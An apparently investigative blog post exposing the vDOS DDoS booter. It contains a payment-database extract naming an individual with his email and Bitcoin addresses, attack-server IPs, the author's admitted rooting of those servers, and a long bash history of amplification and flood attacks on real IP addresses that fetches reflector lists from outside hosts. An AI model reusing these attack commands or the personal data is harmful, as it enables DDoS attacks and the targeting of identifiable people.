BackConnect founder in vDOS database

Some additional data regarding Brian Krebs’s latest article.

BackConnect founder Tucker Preston, self-appointed “DDoS mitigation guru”, paid for the vDOS account that was used to conduct hundreds of DDoS attacks in 2015 and 2016.

The booter allows users to enter any email address without confirming it but email addresses of Paypal transactions aren’t spoofable.

Extract from the vDOS database dump:

CREATE TABLE `payments` (
`userid` varchar(100) NOT NULL,
`package` varchar(100) NOT NULL,
`paypalemail` varchar(100) NOT NULL,
`transaction_id` varchar(100) NOT NULL,
`amount` varchar(100) NOT NULL,
`Date` varchar(100) NOT NULL,
`ID` int(100) NOT NULL AUTO_INCREMENT,
`IP` varchar(100) NOT NULL,
`username` varchar(100) NOT NULL,
`destination` varchar(100) NOT NULL,
`api_key` int(4) NOT NULL,
`refunded` int(1) NOT NULL,
`high_risk` int(1) NOT NULL,
`ref` varchar(255) NOT NULL,
`type` int(1) NOT NULL,
`timestamp` int(14) NOT NULL,
PRIMARY KEY (`ID`)
) ENGINE=MyISAM AUTO_INCREMENT=71374 DEFAULT CHARSET=latin1;


INSERT INTO `payments` VALUES

('21606','1 Month Bronze','tucker@gnu.so','2P456702F5318430K','18.99','25-03-2015 01:55',15861,'10.90.255.254','pp4l','jack@v-email.org',0,0,0,'',0,0),
('21606','1 Month Bronze','tucker@gnu.so','6WD289035J3050133','18.99','26-04-2015 02:28',27321,'10.164.199.7','pp4l','alvin@v-email.org',11,0,0,'',0,0),
('21606','1 Month Bronze','tucker@gnu.so','78W478652V2176331','18.99','26-04-2015 07:05',27431,'10.228.29.57','pp4l','matthew21@v-email.org',31,0,0,'',0,0),
('21606','1 Month Bronze','tucker@gnu.so','6VE81821M72362836','18.99','16-06-2015 16:53',43741,'10.35.197.202','pp4l','Itibg@v-email.org',1131,0,0,'',0,0),
('21606','1 Month Bronze','tucker@gnu.so','98101320YN835670F','29.99','29-07-2015 03:16',59351,'10.95.222.114','pp4l','microrobotrblx+b@gmail.com',2941,0,0,'',0,0),
('21606','1 Month VIP','1DhaStWbCWxBL4Kz8KExakwbrSo7wCyaCc','41045bf4754472d1d3484f3c856e1666062a55f83ca94015560155228ccc9213','179.99','01-08-2015 13:50',60201,'10.169.229.148','pp4l','NULL',0,0,0,'',0,0),
('21606','1 Month VIP','1NgSdtfRy8ChrVo7sx66zhTZfeoWfAdbhQ','','199.99','18-10-2015 18:57',67075,'54.175.255.218','pp4l','NULL',0,0,0,'',0,0),
('21606','1 Month VIP','1F6JAegUMiDLu5nnPgKMbfhUdLbDz4VQQ7','','139.99','27-11-2015 15:09',67704,'54.175.255.199','pp4l','NULL',0,0,0,'',0,0),
('21606','1 Month VIP','1NPrwZzMmPNbzwquhrtLzzyydrtxBjjac5','','199.99','30-12-2015 19:57',68234,'54.175.255.210','pp4l','NULL',0,0,0,'',0,0),
('373525','1 Month VIP','186XAeZHJFB1UXhSszgt1A5a6Wu6WB6yqC','ff4fde9bb7176be35d4fc21c8496b8641b0021cc582803624517114b1bfcea6a','199.99','08-02-2016 19:28',68847,'54.175.255.199','pp4l2','NULL',0,0,0,'',0,0),
('373525','1 Month VIP','1D34uYabVTYgQuunHfz98cQwJjRUpoVH1P','','199.99','15-03-2016 02:03',69296,'54.175.255.208','pp4l2','NULL',0,0,0,'',0,0),
('373525','1 Month VIP','1bDqYB1BEjUiYyL4CuHFkNsNWN9JJMeWV','','199.99','18-04-2016 23:07',69769,'54.175.255.208','pp4l2','NULL',0,0,0,'Direct',0,1461035241),
('373525','1 Month Bronze','1MXjpNabxYhTDPbYeLsieXhP2hHntUcg4d','','19.99','11-06-2016 03:35',70398,'54.175.255.204','pp4l2','NULL',0,0,0,'Direct',0,1465630508),
('373525','1 Month Bronze','1QA7DmMkKj77aSdZVys39DqPuGs52JGrDX','','19.99','17-07-2016 01:13',70825,'54.175.255.208','pp4l2','NULL',0,0,0,'hackforums.net',0,1468732401),
('373525','1 Month VIP','15XUA6KwmJUK49uzkcnppphVfWHC4ZKuCX','','199.99','06-08-2016 19:13',71058,'54.175.255.198','pp4l2','NULL',0,0,0,'Direct',0,1470525193),

It looks like Bitcoin payments were stored in the same table as Paypal payments.

Accounts “pp4l” and “pp4l2” were accessed from several IP addresses located in Georgia, matching Tucker Preston’s bio on LinkedIn and other sites. He has used the email address tucker@gnu.so on many occasions e.g. in domain registrations.

 

Advertisements

vDOS/PoodleCorp attack servers

The DDOS architecture had several servers listening to UDP packets from the web server and running the actual attack tools. They were hosted at Verdina in Bulgaria.

This is the list of them in api.vdos-s.com/index.php

$servers = array(‘82.118.233.6′,’82.118.233.5′,’82.118.233.4′,’82.118.233.3’,

‘82.118.233.142’,’82.118.233.7′,’82.118.233.8′,’82.118.233.9′);

They had a PHP script called root.php running in screen sessions. It listens to a UDP socket and executes what it gets. I rooted a few of them simply by sending commands in UDP packets.

/root/ contains attack tools and scripts:

2.txt            dominate            ipmi2.txt       nflag        portmap.c      snmp          tcp          trig.c         xbox
anaconda-ks.cfg  essyn               ipmi.c          nohup.out    portmap.txt    snmp_amp.txt  tcp2         ts3            xbox.sh
antidns.txt      files.zip           issyn           ntp          psn.sh         snmp.txt      tcp_amp.txt  ts3_amp.txt    xsyn
chargen          hbeat               issyn.c         ntp_amp.txt  quake          sony.sh       tcp.c        udp
chargen_amp.txt  hbeat.c             juno.c          ntp.pl       quake_amp.txt  sony.txt      tcptest      udp.c
chargen.c        hbeat.txt           lists           ntp.txt      rip            ssdp          tcp.txt      udpflood.pl
dns              idk                 meow.sh         ovh          rip.c          ssdp_amp.txt  TCP.txt      udpflood.pl.1
dns_amp2.txt     idk.c               minecraft.sh    ovh_amp.txt  rip.txt        sssd_amp.txt  tcp.txt.1    vse
dns_amp.txt      infosvr.txt         nbs_amp.txt     portmap      root.php       stcp          test         vse.c
dnsnew.txt       install.log         NBSattack       portmap2     rst            synergy       test.c       xaa
dns.txt          install.log.syslog  newdnslist.txt  portmap2.c   scan           synergy.c     trig         xad

The cpu load on these servers was high most of the time because they were executing the booter attacks around the clock.

The owners, mostly Applej4ck I think, also logged on these servers directly and used the tools and scripts to do bigger attacks (booter attacks are more limited in time and bandwidth). Some of these attacks are related to PoodleCorp’s publicity stunts this summer. Some might be related to “the blackmail thing”.

This is /root/.bash_history on one of these servers on July 23

killall screen; ./dns 65.55.42.183 3074 dns_amp.txt 20 300
screen -dm php root.php
top -c
killall screen
./dns 217.146.91.36 80 dns_amp.txt 20 300 | dstat
screen -dm php root.php; top -c
killall screen
rm -rf dns_amp.txt*
rm -rf dns_amp.txt
curl 185.130.5.209/dns.txt | shuf > dns_amp.txt
./dns 217.146.91.36 80 dns_amp.txt 20 300 | dstat
screen -dm php root.php; top -c
killall screen;./dns 217.146.91.36 443 dns_amp.txt 20 300 | dstat
screen -dm php root.php; top -c
killall screen; rm -rf dns_amp2.txt
curl 185.130.5.209/dns.txt | shuf > dns_amp2.txt
./dns 217.146.91.36 443 dns_amp2.txt 20 300 | dstat
rm -rf dns_amp2.txt
curl 185.130.5.209/dns.txt | shuf > dns_amp2.txt
./dns 109.163.224.34 80 dns_amp2.txt 20 300 | dstat
screen -dm php root.php; top -c
killall screen;./dns 109.163.224.34 80 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
screen -dm php root.php; top -c
killall screen
./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
screen -dm php root.php; top -c
killall screen
rm -rf dns_amp.txt
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 80 dns_amp.txt 20 300 | dstat
screen -dm php root.php; top -c
top -c
top -c
curl https://vdos-s.com/
killall screen
./dns 109.163.224.34 80 dns_amp.txt 20 300
screen -dm php root.php; top -c
killall screen; ./dns 185.61.137.75 443 dns_amp.txt 20 60
screen -dm php root.php;top -c
killall screen; rm -rf dns_amp.txt
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 80 dns_amp.txt 20 300
screen -dm php root.php; top -c
killall scren; screen -dm php root.php;top -c
killall screen; screen -dm php root.php
top -c
killall screen; sh meow.sh 155.133.240.158 27069
screen -dm php root.php; top -c
top -c
killall screen
./dns 198.251.81.75 80 dns_amp.txt 20 300
screen -dm php root.php; top -c
killall screen; sh meow.sh 146.66.153.37 27022
screen -dm php root.php; top -c
top -c
pkill screen
screen -dm php root.php
service iptables stop
./essyn 195.195.248.230 80 50 -1 150 | dstat
./essyn 194.66.21.106 80 50 -1 150 | dstat
./dominate 194.66.21.106 80 50 -1 100 | dstat
service iptables start
iptables –flush
./dns 194.66.21.106 80 dns_amp.txt 30 100 | dstat
top -c
./tcp 12.130.244.193 1119 tcp_amp.txt 100 300
./dns 12.130.244.193 1119 dns_amp.txt 10 300
./dominate 12.130.244.193 1119 10 -1 300
./dns 192.205.37.145 80 dns_amp.txt 20 300
./dns 12.122.90.29 53 dns_amp.txt 20 300
top -c
./dns 12.130.244.193 1119 dns_amp.txt 20 300
./udp 12.130.244.193 1119 20 400 20 300 | dstat
killall screen;screen -dm php root.php
./udp 12.130.244.193 1119 20 1 20 300 | dstat
top -c
killall screen
rm -rf dns_amp.txt
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 80 dns_amp.txt 20 300 | dstat
screen -dm php root.php; top -c
top -c
rm -rf tcp_amp.txt
wget 185.130.5.209/xad -O tcp_amp.txt
top -c
killall screen;sh meow.sh 146.66.159.202 27075
./dns 146.66.159.202 27075 dns_amp.txt 20 300
killall screen;sh meow.sh 146.66.159.202 27075
screen -dm php root.php;top -c
killall screen;sh meow.sh 192.64.174.65 2099
screen -dm php root.php
./dns 104.160.128.103 53 dns_amp.txt 20 300
./nflag 192.64.174.65 2099 10 -1 300
./dominate 192.64.174.65 2099 1 -1 300
./dominate 192.64.174.65 2099 10 -1 300
sh meow.sh 192.64.175.20 2099
top -c
killall screen;./dns 205.196.6.137 53 dns_amp.txt 20 300
screen -dm php root.php
./dns 208.64.202.85 53 dns_amp.txt 20 300
./dns 208.64.202.85 80 dns_amp.txt 20 300
./dns 69.16.191.125 53 dns_amp.txt 20 300
./dns 208.64.200.228 80 dns_amp.txt 20 300
top -c
./dns 8.254.150.254 80 dns_amp.txt 20 300
top -c
killall screen;sh meow.sh 172.106.14.42 25565
screen -dm php root.php
./dns 172.106.14.42 80 dns_amp.txt 20 300
top -c
killall screen sh meow.sh 146.66.153.61 27100
killall screen; sh meow.sh 146.66.153.61 27100
screen -dm php root.php; top -c
top -c
killall screen;./dns 104.254.244.254 80 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
ifconfig
iptables –flush
top -c
hostname 2g
killall screen; ./dns 212.219.46.39 80 dns_amp.txt 20 60
screen -dm php root.php
top -c
killall screen; rm -rf dns_amp.txt
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
screen -dm php root.php; top -c
killall screen; sh meow.sh 146.66.152.145 27055
screen -dm php root.php;top -c
killall screen;./dns 82.134.128.1 80 dns_amp.txt 20 300;screen -dm php root.php;top -c
killall screen; sh meow.sh 146.66.153.198 27115
screen -dm php root.php;top -c
killall screen; ./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen; ./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
ifconfig
top -c
killall screen;sh meow.sh 155.133.240.134 27070
killall screen;sh meow.sh 155.133.240.134 27070
screen -dm php root.php;top -c
killall screen; sh meow.sh 155.133.240.134 27070
./dns 155.133.240.134 27070 dns_amp.txt 20 300
killall screen; sh meow.sh 155.133.240.134 27070
screen -dm php root.php;top -c
top -c
killall screen
screen -dm php root.php;top -c
top -c
top -c
top -c
killall screen;sh meow.sh 185.25.182.22 27106
screen -dm php root.php;top -c
killall screen;sh meow.sh 185.25.182.54 27043
screen -dm php root.php;top -c
killall screen;sh meow.sh 146.66.153.206 27071
killall screen;sh meow.sh 146.66.153.206 27071
screen -dm php root.php;top -c
./dns 200.196.152.202 443 dns_amp.txt 7 60
killall screen;screen -dm php root.php
./dns 200.196.152.202 443 dns_amp.txt 20 60
./dns 4.59.90.10 53 dns_amp.txt 20 300
top -c
sh meow.sh 200.196.152.202 443
./tcp 200.196.152.202 443 tcp_amp.txt 100 300
./dominate 200.196.152.202 443 10 -1 300
./ntp 200.196.152.202 443 ntp_amp.txt 10 -1 300
killall screen; screen -dm php root.php;ulimit -n 1024
top -c
./dns 37.221.210.41 53 dns_amp.txt 7 60
top -c
./dns 37.221.210.41 53 dns_amp.txt 7 60
killall screen;screen -dm php root.php
./dns 37.221.210.41 53 dns_amp.txt 7 60
./dns 37.221.210.41 53 dns_amp.txt 20 60
top -c
./dns 37.221.210.44 80 dns_amp.txt 7 180; top -c
./dns 37.221.210.41 80 dns_amp.txt 7 180; top -c
killall screen
screen -dm ./dns 5.254.118.22 11003 dns_amp.txt 20 300;dstat
screen -dm php root.php;top -c
killall screen;./dns 103.253.184.34 80 dns_amp.txt 20 300
screen -dm php root.php;top -c
killall screen;sh meow.sh 146.66.158.159 27016
screen -dm php root.php;top -c
killall screen;./dns 31.220.0.132 25 dns_amp.txt 20 300
screen -dm php root.php;top -c
killall screen
screen -dm ./dns 31.220.0.132 25 dns_amp.txt 7 3600
screen -dm ./dns 31.220.0.132 25 dns_amp.txt 4 3600
screen -dm php root.php;top -c
screen -dm ./dns 31.220.0.132 25 dns_amp.txt 4 3600
top -c
killall screen;screen -dm php root.php
./dns 31.220.0.105 25 dns_amp.txt 7 60
./dns 31.220.0.105 25 dns_amp.txt 7 60
killall screen
screen -dm php root.php
screen -dm ./dns 31.220.0.105 25 dns_amp.txt 7 3600
screen -dm ./dns 31.220.0.105 25 dns_amp.txt 4 3600
top -c
killall screen
killall screen; screen -dm php root.php
screen -dm ./dns 31.220.0.148 25 dns_amp.txt 7 3600
screen -dm ./dns 31.220.0.105 25 dns_amp.txt 4 3600
killall screen; screen -dm php root.php
./dns 87.245.246.63 53 dns_amp.txt 7 30
top -c
killall screen;./dns 185.144.90.200 25 dns_amp.txt 20 300 | dstat
screen -dm php root.php
screen -dm ./dns 185.144.90.200 25 dns_amp.txt 7 3600
top -c
top -c
killall screen;screen -dm php root.php; screen -dm ./dns 185.144.90.200 25 dns_amp.txt 7 600;top -c
top -c
killall screen;sh meow.sh 146.66.152.136 27099
screen -dm php root.php;top -c
killall screen;sh meow.sh 146.66.153.33 27121
screen -dm php root.php;top -c
./dns  146.66.153.33 27121 dns_amp.txt 20 300
sh meow.sh 146.66.153.33 27121
rm -rf meow.sh
vi meow.sh
sh meow.sh 146.66.153.33 27121
top -c
killall screen;sh meow.sh 146.66.152.158 27068
rm -rf meow.sh
vi meow.sh
screen -dm php root.php;top -c
killall screen;rm -rf dns_amp.txt;curl http://104.238.181.185//finaldns.txt | shuf > dns_amp.txt
killall screen;rm -rf dns_amp.txt;curl http://104.238.181.185/finaldns.txt | shuf > dns_amp.txt
wc -l dns_amp.txt
rm -rf dns_amp.txt;curl http://82.118.233.7/dns_amp.txt | shuf > dns_amp.txt
./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
rm -rf dns_amp.txt;curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
rm -rf dns_amp.txt
rm -rf dns_amp.txt;curl http://82.118.233.7/dns_amp.txt | shuf > dns_amp.txt
screen -dm php root.php;top -c
top -c
killall screen;./dns 185.144.90.200 25 dns_amp.txt 20 300 | dstat
killall screen;./dns 185.144.90.200 25 dns_amp.txt 20 500 | dstat
screen -dm php root.php
./dns 64.124.75.126 53 dns_amp.txt 7 300
screen -dm ./dns 64.124.75.126 53 dns_amp.txt 7 3600
screen -dm ./dns 64.124.75.126 53 dns_amp.txt 4 3600
top -c
killall screen;screen -dm php root.php;./dns 91.240.147.253 53 dns_amp.txt 7 3600
top -c
killall screen;screen -dm php root.php;screen -dm ./dns 91.240.147.253 53 dns_amp.txt 7 3600;screen -dm ./dns 91.240.147.253 53 dns_amp.txt 5 3600
top -c
killall screen;screen -dm php root.php
./dns 185.144.90.200 25 dns_amp.txt 7 300
killall screen;screen -dm php root.php;screen -dm ./dns 185.144.90.200 25 dns_amp.txt 7 3600; screen -dm ./dns 185.144.90.200 25 dns_amp.txt 5 3600
top -c
killall screen
killall screen;screen -dm php root.php;screen -dm ./dns 185.144.90.200 25 dns_amp.txt 7 3600
killall dns
./dns 38.122.63.106 53 dns_amp.txt 7 3600
screen -dm ./dns 38.122.63.106 53 dns_amp.txt 7 3600
screen -dm ./dns 91.240.147.253 53 dns_amp.txt 7 3600
top -c
killall screen
screen -dm php root.php
./dns 77.67.77.238 53 dns_amp.txt 7 300
./tcp 185.144.90.200 25 tcp_amp.txt 200 300
./tcp 185.144.90.200 25 tcp_amp.txt 100 300
./dominate 185.144.90.200 25 10 -1 300
./dns 185.144.90.200 80 dns_amp.txt 7 300
./dns 185.144.90.200 80 dns_amp.txt 4 300 | ./tcp 185.144.90.200 25 tcp_amp.txt 100 300
sh meow.sh 185.144.90.200 25
./stcp 185.144.90.200 25 10 -1 60 ack
./stcp 185.144.90.200 25 10 -1 60 syn,fin,rst,seq
./dominate 185.144.90.200 25 10 -1 300
./tcp 185.144.90.200 389 tcp_amp.txt 100 300
./tcp 185.144.90.200 25 tcp_amp.txt 100 300
./tcp 185.144.90.200 389 tcp_amp.txt 100 300
./tcp 185.144.90.200 443 tcp_amp.txt 100 300
./tcp 185.144.90.200 25 tcp_amp.txt 100 300
top -c
killall screen;screen -dm php root.php;top -c
killall screen;sh meow.sh 185.25.182.73 27059
screen -dm php root.php;top -c
killall screen;screen -dm php root.php;./dns 80.80.160.8 53 dns_amp.txt 8 300 | dstat
killall screen;screen -dm php root.php;top -c
top -c
dmesg | grep ratelimit
dmesg | grep ratelimit | head
dmesg | grep  dropping packet
dmesg | grep “dropping packet”
dmesg | grep “dropping packet|__ratelimit” | head
dmesg | grep “dropping packet|__ratelimit”
dmesg | grep “dropping packet\|__ratelimit”
dmesg | grep “dropping packet\|__ratelimit” | head
ping 63.224.120.128
killall screen;sh meow.sh 185.25.182.49 27056
screen -dm php root.php;top -c
killall screen;sh meow.sh 146.66.155.68 27086
screen -dm php root.php;top -c
top -c
pkill screen;screen -dm php root.php;./dns 185.38.150.4 53 dns_amp.txt 25 400 | dstat
ps x
top -c
rm -rf dns_amp.txt;killall screen
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
rm -rf dns_amp.txt
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
rm -rf dns_amp.txt
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
screen -dm php root.php;top -c
killall screen;./dns 162.144.70.173 80 dns_amp.txt 20 300
screen -dm php root.php;top -c
killall screen;./dns 109.163.224.34 443 dns_amp.txt 20 300;screen -dm php root.php
killall screen;screen -dm php root.php;top -c
top -c
killall screen;./dns 146.66.155.22 27104 dns_amp.txt 20 300
sh meow.sh 146.66.155.22 27104
screen -dm php root.php;top -c
top -c
./dns 185.144.90.200 1025 dns_amp.txt 10 300
./dns 185.144.90.200 1025 dns_amp.txt 7 300
screen -dm ./dns 185.144.90.200 1025 dns_amp.txt 7 3600
top -c
killall screen;sh meow.sh 146.66.153.48 27083
./dns 192.168.130.3 53 dns_amp.txt 20 300
./dns 192.168.131.30 53 dns_amp.txt 20 300
screen -dm php root.php;top -c
killall screen; rm -rf dns_amp.txt
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;./dns 109.163.224.34 443 dns_amp.txt 20 300; screen -dm php root.php;top -c
killall screen;./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;./dns 192.168.190.22 80 dns_amp.txt 20 300
killall screen;./dns 146.66.155.70 80 dns_amp.txt 20 300
sh meow.sh 146.66.155.70 80
./ssdp 146.66.155.70 80 ssdp_amp.txt 20 300
screen -dm php root.php;top -c
killall screen;./ssdp 146.66.152.153 27121 ssdp_amp.txt 20 300
./dns 146.66.152.153 27121 dns_amp.txt 20 300
./dns 192.168.130.1 53 dns_amp.txt 20 300
./dns 192.168.136.22 53 dns_amp.txt 20 300
./dns 155.133.248.247 53 dns_amp.txt 20 300
screen -dm php root.php
./dns 162.254.197.41 27020 dns_amp.txt 20 300
./ssdp 162.254.197.41 27020 dns_amp.txt 20 300
./dns 212.162.9.102 53 dns_amp.txt 20 300
./dns 212.187.138.146 53 dns_amp.txt 20 300
./dns 146.66.155.11 27019 dns_amp.txt 20 300
./ssdp 146.66.155.11 27019 ssdp_amp.txt 20 300
./ssdp 212.162.9.102 53 ssdp_amp.txt 20 300
./dns 212.162.9.102 53 dns_amp.txt 20 300
sh meow.sh 162.254.197.42 5004
./dominate 162.254.197.42 5004 10 -1 300
./dominate 162.254.196.42 5004 10 -1 300
killall screen;./dns 212.187.138.146 80 dns_amp.txt 20 300
screen -dm php root.php;sh meow.sh 162.254.196.40 5004
./dns 146.66.152.10 27018 dns_amp.txt 20 300
./ssdp 146.66.152.10 27018 ssdp_amp.txt 20 300
./dns 80.249.211.23 53 dns_amp.txt 20 300
./ssdp 80.249.211.23 53 ssdp_amp.txt 20 300
./ssdp 162.254.197.40 5004 ssdp_amp.txt 20 300
c ./dns 162.254.197.40 5004 dns_amp.txt 20 300
./dns 162.254.197.40 5004 dns_amp.txt 20 300
./stcp 162.254.196.41 5004 10 -1 ack
./stcp 162.254.196.41 5004 10 -1 60 ack
./dns 162.254.197.40 5004 dns_amp.txt 20 300
./ssdp 162.254.197.40 5004 ssdp_amp.txt 20 300
./stcp 162.254.197.40 5004 10 -1 60 ack
./dominate 162.254.197.40 5004 10 -1 300
./dominate 162.254.196.40 5004 10 -1 300
./dominate 162.254.192.40 5004 10 -1 300
killall screen
./dominate 162.254.192.40 5004 10 -1 300
./dominate 162.254.196.42 5004 10 -1 300
killall screen;screen -dm php root.php
./dominate 162.254.196.42 5004 10 -1 300
./dominate 162.254.197.40 5004 10 -1 300
./dominate 162.254.197.42 5004 10 -1 300
./dns 209.197.13.194 53 dns_amp.txt 20 300
./dns 185.25.182.10  53 dns_amp.txt 20 300
./dns 195.12.255.186 53 dns_amp.txt 20 300
./dns 209.197.13.194 53 dns_amp.txt 20 300
top -c
killall screen;./ssdp 155.133.240.164 27018 ssdp_amp.txt 20 300; screen -dm php root.php
screen -dm php root.php
./dns 192.168.131.1 53 dns_amp.txt 20 300
./dns 146.66.154.23 27024 dns_amp.txt 20 300
killall screen;screen -dm php root.php
./udp 155.133.241.57 27110 10 88 10 20
./dns 155.133.241.57 30110 dns_amp.txt 20 300
./ssdp 146.66.159.59 30044 ssdp_amp.txt 20 300
sh meow.sh 146.66.159.59 30044
./dominate 146.66.159.59 30044 10 -1 300
./udp 146.66.159.59 30044 20 1 20 200
# ./ntp 146.66.159.59 30044 ntp_amp.txt 20 -1 300
./ipmi 146.66.159.59 30044 ipmi.txt 20 -1 300
./portmap 146.66.159.59 30044 portmap.txt 10 -1 300
top -c
top -c
screen -dm php root.php;top -c
top -c
killall screen;rm -rf dns_amp.txt
curl 185.130.5.209/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;./dns 144.9.71.5 53 dns_amp.txt 20 300
screen -dm php root.php;top -c
./dns 144.9.71.5 53 dns_amp.txt 20 300
top -c
killall screen;rm -rf dns_amp.txt; curl http://93.174.95.38/finaldns.txt | shuf > dns_amp.txt
killall screen;./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
killall screen;rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
killall screen;
./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen
./dns 109.163.224.34 443 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
killall screen;rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;./dns 31.214.226.120 27015 dns_amp.txt 20 300;screen -dm php root.php
screen -dm php root.php;top -c
top -c
pkill screen; screen -dm php root.php
./dns 155.133.247.101 27021 dns_amp.txt 25 120
top -c
rm -rf dns_amp.txt;killall screen;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
screen -dm php root.php;top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;./dns 81.236.63.140 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;./dns 155.133.241.28 30023 dns_amp.txt 20 300
screen -dm php root.php;top -c
ifconfig
service httpd stop
top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
screen -dm php root.php;top -c
top -c
ps x
top -c
sh meow.sh 12.129.206.133 1119
./dns 12.129.206.133 1119 dns_amp.txt 20 300
./dominate 12.129.206.133 1119 10 -1 300
./tcp 12.129.206.133 1119 tcp_amp.txt 200 300
./dns 12.123.249.73 53 dns_amp.txt 20 300
./dns 12.122.129.106 53 dns_amp.txt 20 300
./dns 192.205.37.145 53 dns_amp.txt 20 300
./dns 12.129.206.135 53 dns_amp.txt 20 300
sh meow.sh 12.129.206.133 1119
./tcp 12.129.206.133 1119 tcp_amp.txt 200 300
./dns 12.123.249.73 80 dns_amp.txt 20 300
./stcp 12.129.206.133 1119 15 -1 30 ack
./stcp 12.129.206.133 1119 15 -1 30 ack,fin,psh,rst
./stcp 12.129.206.133 1119 15 -1 30 res2,seq
./portmap 12.129.206.133 1119 portmap.txt 10 -1 300
sh meow.sh 12.123.249.73 80
sh meow.sh 12.129.206.133 80
sh meow.sh 24.105.28.10 1119
./dns 24.105.28.10 1119 dns_amp.txt 20 300
./dns 37.244.0.101 53 dns_amp.txt 10 300
sh meow.sh 24.105.28.10 1119
./dominate 24.105.28.10 1119 10 -1 300
./dns 24.105.31.4 53 dns_amp.txt 20 300
./dns 37.244.0.101 53 dns_amp.txt 20 300
./dns 24.105.28.10 53 dns_amp.txt 20 300
./dns 80.249.208.83 53 dns_amp.txt 20 300
./dns 37.244.10.48 53 dns_amp.txt 20 300
ctop -c
top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
tail -f dns_amp.txt
pkill screen; screen -dm php root.php
top -c
killall screen;screen -dm php root.php;./dns 24.105.28.10 1119 dns_amp.txt 20 300
sh meow.sh 24.105.28.10 1119
./dns 37.244.10.48 53 dns_amp.txt 20 300
./dns  24.105.31.33 53 dns_amp.txt 20 300
sh meow.sh 24.105.28.10 1119
./dns 37.244.10.48 53 dns_amp.txt 20 300
sh meow.sh 24.105.28.10 1119
./dominate  24.105.28.10 1119 10 -1 300
top -c
killall screen;screen -dm php root.php;./dns 37.244.10.35 53 dns_amp.txt 20 300
./dns 37.244.0.101 53 dns_amp.txt 20 300
./dns 37.244.0.3 53 dns_amp.txt 20 300
./dns 24.105.40.1 53 dns_amp.txt 20 300
./dns 37.244.10.35 53 dns_amp.txt 20 300
./dns 185.60.112.157 53 dns_amp.txt 20 300
./dns 37.244.0.3 53 dns_amp.txt 20 300
./dns 37.244.10.35 53 dns_amp.txt 20 300
sh meow.sh 37.244.0.3 80
./dns 37.244.0.3 80 dns_amp.txt 20 300
top -c
./dns 213.59.212.123 53 dns_amp.txt 20 300
top -c
./dns 193.124.179.142 80 dns_amp.txt 20 300
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
top -c
./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
pkill screen; screen -dm php root.php; screen -dm ./dns 107.6.151.1 25565 dns_amp.txt 25 100; top -c
top -c
killall screen; rm -rf dns_amp.txt;curl 93.174.95.38/finaldns.txt | shuf > dns_amp.txt
top -c
top -c
screen -dm php root.php;top -c
killall screen;./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
top -c
killall screen;./dns 109.163.224.34 53 dns_amp.txt 20 300 | dstat
screen -dm php root.php;top -c
killall screen;./dns 157.56.71.22 443 dns_amp.txt 20 300 | dstat
csh meow.sh 157.56.71.22 443
./dominate 157.56.71.22 80 10 -1 300
